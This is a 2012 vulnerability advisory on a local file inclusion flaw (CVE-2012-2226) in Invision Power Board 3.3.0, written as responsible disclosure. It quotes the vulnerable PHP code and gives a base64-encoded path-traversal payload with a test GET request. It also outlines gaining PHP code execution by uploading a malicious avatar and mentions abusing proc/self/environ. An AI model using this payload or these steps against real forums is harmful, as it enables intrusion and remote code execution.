Invision Power Board 3.3.0 Local File Inclusion

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[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 12. April 2012  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-86.html  
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226  
  
Description of vulnerable software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet  
forum software produced by Invision Power Services, Inc.  
It is written in PHP and primarily uses MySQL as a database management system,  
although support for other database engines is available.  
  
  
Vulnerable versions  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected are Invision Power Board versions 3.3.0 and 3.2.3, older versions  
may be vulnerable as well.  
  
###############################################################################  
1. Local File Inclusion in "like.php" function "_unsubscribe"  
###############################################################################  
  
CVE Information:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
The Common Vulnerabilities and Exposures (CVE) project has assigned the  
name CVE-2012-2226 to this issue. This is a candidate for inclusion in  
the CVE list (http://cve.mitre.org/), which standardizes names for  
security problems.  
  
Vulnerability Details:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Reason: using unsanitized user submitted data for file operations  
Attack vector: user submitted GET parameter "key"  
Preconditions:  
1. attacker must be logged in as valid user  
2. PHP must be < 5.3.4 for null-byte attacks to work  
Result: remote file disclosure, php remote code execution  
  
Source code snippet from vulnerable script "like.php":  
-----------------[ source code start ]---------------------------------  
protected function _unsubscribe()  
{  
/* Fetch data */  
$key = trim( IPSText::base64_decode_urlSafe( $this->request['key'] ) );  
  
list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key );  
  
/* Member? */  
if ( ! $this->memberData['member_id'] )  
{  
$this->registry->output->showError( 'no_permission', 'pcgl-1' );  
}  
  
if ( ! $app || ! $area || ! $relId )  
{  
$this->registry->output->showError( 'no_permission', 'pcgl-1' );  
}  
  
if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) )  
{  
$this->registry->output->showError( 'no_permission', 'pcgl-2' );  
}  
  
if ( $email != $this->memberData['email'] )  
{  
$this->registry->output->showError( 'no_permission', 'pcgl-3' );  
}  
  
/* Think we're safe... */  
$this->_like = classes_like::bootstrap( $app, $area );  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user submitted parameter "key" is first base64 decoded and then  
splitted to six variables. After multiple checks function "bootstrap()" is called,  
using unvalidated user submitted data for arguments.  
  
Source code snippet from vulnerable script "composite.php":  
-----------------[ source code start ]---------------------------------  
static public function bootstrap( $app=null, $area=null )  
{  
..  
if( $area != 'default' )  
{  
$_file = IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php';  
..  
}  
..  
if ( ! is_file( $_file ) )  
{  
..  
throw new Exception( "No like class available for $app - $area" );  
..  
}  
..  
$classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );  
-----------------[ source code end ]-----------------------------------  
  
We can see, that variable "$_file" is composed using unvalidated argument "area".  
Next there is check for file existence and in case of success next function,  
"loadLibrary", is called, using unvalidated argument "$_file".  
  
  
Source code snippet from vulnerable script "core.php":  
-----------------[ source code start ]---------------------------------  
static public function loadLibrary( $filePath, $className, $app='core' )  
{  
/* Get the class */  
if ( $filePath != '' )  
{  
require_once( $filePath );/*noLibHook*/  
}  
-----------------[ source code end ]-----------------------------------  
  
As seen above, "require_once" function is used with unvalidated argument.  
  
Test: we need to construct specific base64 encoded payload.  
First, semicolon-separated string:  
  
forums;/../../test;1;1;1;[email protected]  
  
Email address and other components must be valid for successful test.  
  
After base64 encoding:  
  
Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ  
  
Now let's log in as valid user and then issue GET request:  
  
http://localhost/ipb330/index.php?app=core&module=global&section=like  
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ  
  
  
Result:  
  
Fatal error: Uncaught exception 'Exception' with message 'No like class available  
for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333  
Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(131):  
classes_like::bootstrap('forums', '/../../test')  
#1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(44):  
public_core_global_like->_unsubscribe()  
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):  
public_core_global_like->doExecute(Object(ipsRegistry)) #3   
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry))  
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest()  
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()  
#6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333  
  
  
Potential attack scenario:  
  
1. Attacker registers to target forum and logs in as valid user  
2. Attacker uploads avatar picture with malicious php code to target server  
3. Attacker issues carefully crafted GET or POST request and as result gets php level access  
  
There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,  
for example by using procfs ("proc/self/environ") on *nix platforms.  
  
  
How to fix:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Update to new version 3.3.1  
  
http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-ipseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/  
  
  
Disclosure Timeline:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
27.03.2012 Developers contacted via email  
28.03.2012 Developers confirmed upcoming patch  
11.04.2012 Developers announced new version release  
12.04.2012 Advisory released  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
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